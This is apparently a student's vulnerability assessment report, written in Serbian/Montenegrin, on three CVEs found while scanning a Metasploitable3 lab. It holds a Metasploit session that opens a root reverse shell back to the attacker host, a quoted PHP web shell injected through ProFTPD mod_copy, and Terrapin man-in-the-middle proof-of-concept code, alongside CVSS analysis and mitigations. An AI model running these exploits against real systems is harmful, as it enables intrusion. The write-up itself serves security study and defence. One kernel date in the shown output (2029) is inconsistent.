Vulnerability Assessment Report

Ime i prezime: Milica Sladaković
Tim: 5
Datum: 04.11.2024.
Scan Tool: *Nessus* (10.8.3)
Test okruženje: *Metasploitable3*

CVE-2015-3306

---

1. Enumeracija CVE-a

- **CVE ID:** CVE-2015-3306
- **Opis:**
  Ova ranjivost utiče na ProFTPD FTP servis koji pokreće modul `mod_copy`, koji je dostupan na portu 21. Servis dozvoljava neautorizovan pristup komandama `SITE CPFR` (*copy from*) i `SITE CPTO` (*copy to*). Napadač koji ima mrežni pristup FTP servisu na portu 21 može iskoristiti ovu grešku za čitanje ili pisanje proizvoljnih datoteka na bilo kojoj putanji dostupnoj na serveru, što rezultuje izloženošću podataka i rizicima integriteta.

2. CVSS skor

- **CVSS skor (numerička vrijednost):** 9.8 (*Critical*)

- **Vektor:**
  `CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`
  `AV:N` - *Attack Vector: Network* (eksploatacija preko mreže, napadač ne mora fizički pristupiti sistemu).
  `AC:L` - *Attack Complexity: Low* (napad se lako izvršava, postoje već dokumentovani *exploit*-i, nije potrebno veliko tehničko znanje).
  `PR:N` - *Privileges Required: None* (korisnik ne mora imati posebne privilegije, što znači da ranjivost može biti iskorišćenja bez potrebe za prethodnom autentifikacijom ili pristup adminovom nalogu).
  `UI:N` - *User Interaction: None* (ranjivost se može eksploitovati slanjem zahtjeva ka sistemu bez potrebe za direktnom korisničkom interakcijom).
  `S:U` - *Scope: Unchanged* (napad utiče samo na ProFTPD FTP servis i ne širi se na ostale servise).

`C:H` - *Confidentiality: High* (napadač može pristupiti osjetljivim informacijama, kao što je npr. datoteka `/etc/passwd`).
`I:H` - *Integrity: High* (napadač može izmjeniti podatke, čime je narušen njihov integritet).

`A:H` - *Availability: High* (ranjivost može dovesti do izvršavanja koda na mašini servera, čime napadač može uticati na dostupnost sistema).

- **Opravdanje:**
  Ranjivost utiče na sve sisteme koji koriste ProFTPD instancu sa `mod_copi` modulom, bez zabrane pristupa neovlašćenim napadačima. Obzirom da je napadačima potrebno minimalno tehničko znanje kako bi mogli lako da iskoriste ovu ranjivost na mreži, te da sa pristupom za čitanje i modifikovanje datoteka mogu čitati i modifikovati osjetljive podatke, kritični CVSS skor je opravdan.

3. Dostupnost eksploita

- **Postoji javno dostupan eksploit (Da/Ne):**
  Da, na Exploit-DB-u (ID: 36742, 36803).

- **Opis eksploita:**
  Biće objašnjen 36742 jer 36803 nije EDB verifikovan.
  Metasploitable radni okvir (koji se pokreće komandom `msfconsole`) u sebi ima jedan *exploit* pod nazivom `exploit/unix/ftp/proftpd_modcopy_exec`. Upotrebom ovog *exploit*-a, napadač može da upiše maliciozni *payload* u neki direktorijum, npr. `/tmp` i da ga izvrši. Ovaj *exploit* targetira FTP servis na portu 21, i koristeći komande kao što je whoami može da pristupi osjetljivim podacima. Na listingu ispod, prikazan je tok izvrašavanja *exploit*-a.

```
msf6 > use exploit/unix/ftp/proftpd_modcopy_exec
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set RHOSTS 192.168.56.3
RHOSTS => 192.168.56.3
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set LHOST 192.168.0.32
LHOST => 192.168.0.32
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set TARGETPATH /tmp
TARGETPATH => /tmp
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > exploit
[*] Started reverse TCP handler on 192.168.0.32:4444
[*] 192.168.56.3:21 - Connected to FTP server
[*] 192.168.56.3:21 - Sending copy commands to FTP server
[*] 192.168.56.3:21 - Copying payload to target server
[*] 192.168.56.3:21 - Executing payload
[*] Command shell session 1 opened (192.168.0.32:4444 -> 192.168.56.3:35838) at 2024-10-26 14:25:01
+0000

id
uid=0(root) gid=0(root) groups=0(root)

whoami
root
```

```
uname -a
Linux metasploitable3 4.4.0-142-generic #168-Ubuntu SMP Mon Jan 1 11:26:59 UTC 2029 x86_64 GNU/Linux

exit
[*] Command shell session 1 closed.
msf6 exploit(unix/ftp/proftpd_modcopy_exec) >
```

- **Kod eksploita (ukoliko postoji):**
  Kod je u potpunosti dostupan na *Github*-u. U nastavku su prikazani najznačajniji dijelovi koda.

  Na sljedećem listingu se vidi dio koda koji provjerava da li je odgovor sa servera 350, što znači da je dopušteno da se izvrše komande iz *mod_copy* bez potrebe za autorizacijom:

```
def check
  sock = Rex::Socket.create_tcp('PeerHost' => rhost, 'PeerPort' => ftp_port)
  res = sock.get_once(-1, 30)
  if res.include?('220')
        sock.puts("SITE CPFR /etc/passwd\r\n")
        res = sock.get_once(-1, 10)
        if res.include?('350')
        return CheckCode::Appears("#{rhost}:#{ftp_port} - Unauthenticated SITE CPFR command was
successful")
        end
  end
  CheckCode::Safe
ensure
  sock.close unless sock.nil?
end
```

  Na sljedećem listingu se vidi dio koda u kom se u *target* direktorijum kopira sadržaj PHP *payload*-a, koji može da izvrši komande dobijene preko *GET* parametra:

```
def exploit
  get_arg = rand_text_alphanumeric(5..7)
  payload_name = rand_text_alphanumeric(5..7) + '.php'

  sock = Rex::Socket.create_tcp('PeerHost' => rhost, 'PeerPort' => ftp_port)

  sock.puts("SITE CPFR /proc/self/cmdline\r\n")
  sock.put("SITE CPTO #{datastore['TMPPATH']}/.<?php passthru($_GET['#{get_arg}']);?>\r\n")
```

4. Analiza uzroka (root cause)

- **Uvođenje Greške (Commit/Verzija):**
  Ranjivost je bila prisutna od početka, tako što se u funkciji `CPTO` nisu provjeravala prava pristupa. Takođe, nije bilo moguće onemogućiti modul `mod_copy`. Sve ovo je

ispravljeno u *commit*-u `35b65aa` (april 2015. godine).

- **Primer Koda (ako je primenljivo):**
  Dio koda koji je nedostajao kako bi se spriječila ranjivost je provjera prava pristupa:

```
authenticated = get_param_ptr(cmd->server->conf, "authenticated", FALSE);
if (authenticated == NULL || *authenticated == FALSE) {
        pr_response_add_err(R_530, _("Please login with USER and PASS"));

        pr_cmd_set_errno(cmd, EPERM);
        errno = EPERM;
        return PR_ERROR(cmd);
}
```

5. Preporuke za mitigaciju

- **Da li je dostupan Vendor Fix ili patch (Da/Ne):** Da

- **Mitigation Strategy:**
  Da bi se izbjegla ova ranjivost, potrebno je ažurirati verziju ProFTPD na veću od 1.3.5a prateći ovo uputstvo.

CVE-2016-2183

---

1. Enumeracija CVE-a

- **CVE ID:** CVE-2016-2183

- **Opis:**
  Ranjivost “*SSL Medium Strength Cipher Suites Supported* (SWEET32)” odnosi se na SSL/TSL protokole koji podržavaju pakete šifara zasnovanih na 64-bitnim blokovima, konkretno 3DES (*Triple Data Encription Standard*) u CBC (*Cipher Block Chaining*) režimu. Kada se koriste takve šifre, napadači mogu iskoristiti relativno malu veličinu bloka (64 bita) da potencijalno pročitaju *plaintext* podatke iz sesije. Ova ranjivost, poznata kao "*birthday attack*", proizlazi iz činjenice da uz veličinu bloka od 64 bita postoji relativno velika vjerovatnoća ponovljenih blokova tokom dovoljno duge sesije, što omogućava napadaču da izvuče šablone i, na kraju, osetljive podatke.
  SWEET32 ranjivost prvenstveno utiče na HTTPS (port 443), ali može uticati na bilo koju SSL/TLS vezu koja koristi 3DES šifre na različitim portovima, kao što su SMTP (25), IMAP (143/993) i drugi.

2. CVSS skor

- **CVSS skor (numerička vrijednost):** 7.5 (*High*)

- **Vektor:**
  `CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`
  `AV:N` - *Attack Vector: Network* (eksploatacija preko mreže, napadač ne mora fizički pristupiti sistemu).
  `AC:L` - *Attack Complexity: Low* (napad se lako izvršava, postoje već dokumentovani *exploit*-i, nije potrebno veliko tehničko znanje).
  `PR:N` - *Privileges Required: None* (korisnik ne mora imati posebne privilegije, što znači da ranjivost može biti iskorišćenja bez potrebe za prethodnom autentifikacijom ili pristup adminovom nalogu).
  `UI:N` - *User Interaction: None* (ranjivost se može eksploitovati slanjem zahtjeva ka sistemu bez potrebe za direktnom korisničkom interakcijom).
  `S:U` - *Scope: Unchanged* (napad utiče samo na SSL/TSL sesiju i ne širi se na ostale servise).
  `C:H` - *Confidentiality: High* (napadač može pristupiti osjetljivim informacijama u *plaintext*-u).
  `I:N` - *Integrity: None* (integritet podataka nije narušen).
  `A:N` - *Availability: None* (ranjivost ne može uticati na dostupnost sistema).

- **Opravdanje:**
  Iako ranjivost SWEET32 predstavlja rizik za podatke, složenost napada je velika, obzirom da napad uključuje prikupljanje velike količinu enkriptovanih podataka tokom dužeg vremenskog perioda, što može biti tehnički izazovno. Pored toga, uticaj na povjerljivost je ograničen, jer napad ne otkriva kompletan sadržaj sesije već samo dijelove.

3. Dostupnost eksploita

- **Postoji javno dostupan eksploit (Da/Ne):**
  Da, na zvaničnom sajtu *exploit*-a je njegov uzrok i postupak detaljno objašnjen, međutim ne postoji javno dostupan kod *exploit*-a koji bi mogao da se odnosi na *Metasploitable3*. *Exploit* zahtjeva veliku količinu podataka, a *proof-of-concept* je moguće pronaći na ovom linku.

- **Opis eksploita:**
  CBC režim dijeli poruku na blokove i enkriptuje ih u sekvenci koristeći početni vektor i prethodni blok šifrovanog teksta. Svaki blok *plaintext*-a (m_i) kombinuje se s prethodnim blokom šifrovanog teksta (c_{i-1}) prije enkripcije, stvarajući novi šifrovani blok $c_i = E_k(m_i \oplus c_{i-1})$, gdje E_k označava enkripciju ključem k. Zbog male veličine bloka od 64 bita kod 3DES-a, veća je vjerovatnoća ponavljanja šablona i kolizija. Prema paradoksu rođendana, nakon oko 2^{32} (približno 4 milijarde) blokova enkriptovanih istim ključem, očekuju se kolizije između blokova šifrovanog teksta ($c_i = c_j$). Kada se dogodi kolizija, blokovi *plaintext*-a mogu se povezati kroz $m_i \oplus m_j = c_i \oplus c_j$, omogućavajući napadaču da otkrije XOR dva bloka *plaintext*-a bez direktnog dekriptovanja.
  Sam podatak o XOR-u ne znači nešto mnogo, ali ova eksploatacija može biti moćna ukoliko napadač već poznaje neki dio podatka (npr *header* u HTTP sesiji) ili se taj podatak često ponavlja (npr. autentifikacioni token).

4. Analiza uzroka (root cause)

- **Uvođenje Greške (Commit/Verzija):**
  Ranjivost datira od uvođenja 3DES šifrovanja 1980. godine, uvedenih kao produžetak DES-a (*Data Encryption Standard*). Iako je slabost 3DES-a bila poznata, on je ostao u SSL/TLS konfiguracijama zbog potrebe za kompatibilnošću sa starijim sistemima i standardima. Rješenje za ovu ranjivost uvedeno je u OpenSSL verziji 1.1.0, gdje su 3DES šifre podrazumijevano onemogućene.

5. Preporuke za mitigaciju

- **Da li je dostupan Vendor Fix ili patch (Da/Ne):** Da

- **Mitigation Strategy:**
  Da bi se izbjegla ova ranjivost na sistemima koji i dalje podržavaju 3DES šifrovanje, potrebno je uraditi jedno od sljedećeg:
  - prateći ove korake ažurirati verziju OpenSSL-a na 1.1.0 ili veće, na kojima je 3DES podrazumijevano onemogućen,
  - manuelno onemogućiti 3DES izmjenom konfiguracije, npr. za nginx:

```
ssl_ciphers 'HIGH:!3DES:!aNULL:!MD5';
```

CVE-2023-48795

---

1. Enumeracija CVE-a

- **CVE ID:** CVE-2023-48795

- **Opis:**
  Ranjivost "*Terrapin Prefix Truncation Weakness*" je ranjivost koja utiče na određene SSH konfiguracije koje podržavaju ChaCha20-Poly1305 ili CBC (*Cipher Block Chaining*) algoritme sa *Encrypt-then-MAC* (EtM). Ova ranjivost omogućava *man in the middle* napadaču (MITM) da izvede napad skraćivanja (*truncation*) prefiksa, čime može zaobići provjere integriteta SSH-a i smanjiti bezbednost SSH sesije. *Terrapin* ranjivost koristi slabost u načinu obrade enkripcije SSH protokola, omogućavajući napadaču koji može da presretne saobraćaj između SSH klijenta i servera da modifikuje dijelove SSH poruke.
  Algoritmi koji su obuhvaćeni ovom ranjivošću su CBC: cast128-cbc, aes192-cbc. aes256-cbc, aes128-cbc, blowfish-cbc, 3des-cbc, ChaCha20-Poly1305.

2. CVSS skor

- **CVSS skor (numerička vrijednost):** 5.9 (*Medium*)

- **Vektor:**
  `CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N`
  `AV:N` - *Attack Vector: Network* (eksploatacija preko mreže, napadač ne mora fizički pristupiti sistemu).
  `AC:H` - *Attack Complexity: High* (napad se teže izvršava, jer zahtijeva MITM i specifična znanja o konkretnom SSH saobraćaju).
  `PR:N` - *Privileges Required: None* (korisnik ne mora imati posebne privilegije, što znači da ranjivost može biti iskorišćenja bez potrebe za prethodnom autentifikacijom ili pristup adminovom nalogu).
  `UI:N` - *User Interaction: None* (ranjivost se može eksploitovati slanjem zahtjeva ka sistemu bez potrebe za direktnom korisničkom interakcijom).
  `S:U` - *Scope: Unchanged* (napad utiče samo na SSH i ne širi se na ostale servise).
  `C:N` - *Confidentiality: None* (ne utiče na povjerljivost podataka).
  `I:H` - *Integrity: High* (integritet podataka je narušen jer je narušen integritet i same SSH sesije).
  `A:N` - *Availability: None* (ranjivost ne može uticati na dostupnost sistema).

- **Opravdanje:**
  Iako ova ranjivost predstavlja rizik za podatke, složenost napada je velika, obzirom

da napad uključuje praćenje saobraćaja u realnom vremenu uz upotrebu MITM obrasca.

3. Dostupnost eksploita

- **Postoji javno dostupan eksploit (Da/Ne):**
  Da, na zvaničnom sajtu ranjivosti je dat njen uzrok, koji je još detaljnije opisan u radu. Međutim ne postoji javno dostupan kod *exploit*-a koji bi mogao da se odnosi na *Metasploitable3*. *Proof-of-concept* je moguće pronaći na ovom linku.

- **Opis eksploita:**
  Exploit-i za ovu ranjivost obično zahtijevaju da napadač bude u poziciji da presreće i manipuliše SSH saobraćajem između klijenta i servera. Posmatranjem sesije, napadač može da identifikuje korišćenje ranjivih enkripcijskih algoritama i primjeni tehnike skraćivanja prefiksa za modifikovanje sesije. Ove izmjene mogu oslabiti bezbednost SSH konekcije posebno ako se sesija preusmjeri na slabiji algoritam šifrovanja.

- **Kod eksploita (ukoliko postoji):**
  Iako ne postoji javno dostupan *exploit* za *Metasploitable3*, na sljedećem listingu je dat i objašnjen primjer *exploit*-a sa ovog linka**.**

```
rogue_msg_ignore = unhexlify('0000000C060200000000000000000000')
def perform_attack(client_socket, server_socket):
        # Razmjena verzija između klijenta i servera
        client_vex = client_socket.recv(255)
        server_vex = server_socket.recv(255)
        client_socket.send(server_vex)
        server_socket.send(client_vex)

        # Razmejna KEXINIT poruka
        client_kexinit = client_socket.recv(35000)
        server_kexinit = server_socket.recv(35000)
        client_socket.send(server_kexinit)
        server_socket.send(client_kexinit)

        # Klijent šalje ključnu razmenu INIT, prosljeđuje se serveru
        client_kex_init = client_socket.recv(35000)
        server_socket.send(client_kex_init)

        # Ubacivanje lažne "ignore" poruke klijentu
        client_socket.send(rogue_msg_ignore)

        # Kratko čekanje kako bi se uhvatio EXT_INFO
        sleep(0.5)

        # Prihvatanje odgovora servera (KEX_REPLY / NEW_KEYS / EXT_INFO)
        server_response = server_socket.recv(35000)

        # Izračunavanje gdje EXT_INFO počinje, kako bi se skratio
        server_kex_reply_length = LENGTH_FIELD_LENGTH +
int.from_bytes(server_response[:LENGTH_FIELD_LENGTH], byteorder='big')
        server_newkeys_start = server_kex_reply_length
        server_newkeys_length = LENGTH_FIELD_LENGTH +
```

```
int.from_bytes(server_response[server_newkeys_start:server_newkeys_start + LENGTH_FIELD_LENGTH],
byteorder='big')
        server_extinfo_start = server_newkeys_start + server_newkeys_length

        # Prosljeđivanje serverovog odgovora klijentu bez EXT_INFO
        client_socket.send(server_response[:server_extinfo_start])
```

Linija `client_socket.send(rogue_msg_ignore)` šalje lažnu poruku klijentu. Ovo ometa protokol i omogućava napadaču da manipuliše konekcijom. Dio `server_response[:server_extinfo_start]` prosljeđuje serverov odgovor klijentu, ali bez `EXT_INFO`. Na ovaj način klijent ne dobija sve potrebne informacije.

4. Analiza uzroka (root cause)

- **Uvođenje Greške (Commit/Verzija):**
  Terrapin ranjivost se može riješiti omogućavanjem strogih zaštitnih mjera tokom razmjene ključeva. Administratori treba da onemoguće slabe algoritme (npr. CBC i ChaCha20-Poly1305) i primjene ažuriranja. Lista svih *patch*-eva je dostupna na spisku.

5. Preporuke za mitigaciju

- **Da li je dostupan Vendor Fix ili patch (Da/Ne):** Da

- **Mitigation Strategy:**
  Da bi se izbjegla ova ranjivost na sistemima koji i dalje podržavaju ChaCha20-Poly1305 i CBC algoritme šifrovanja, potrebno je uraditi jedno od sljedećeg:
  - onemogućiti ranjive algoritme u SSH konfiguracionom fajlu (*/etc/ssh/sshd_config*) tako što se uklone CBC i ChaCha20-Poly130 algoritmi,
  - ažurira verzija SSH (npr. za OpenSSH na 8.8 ili kasnije, uputstvo na linku), uputstvo za bilo kog klijenta je na linku.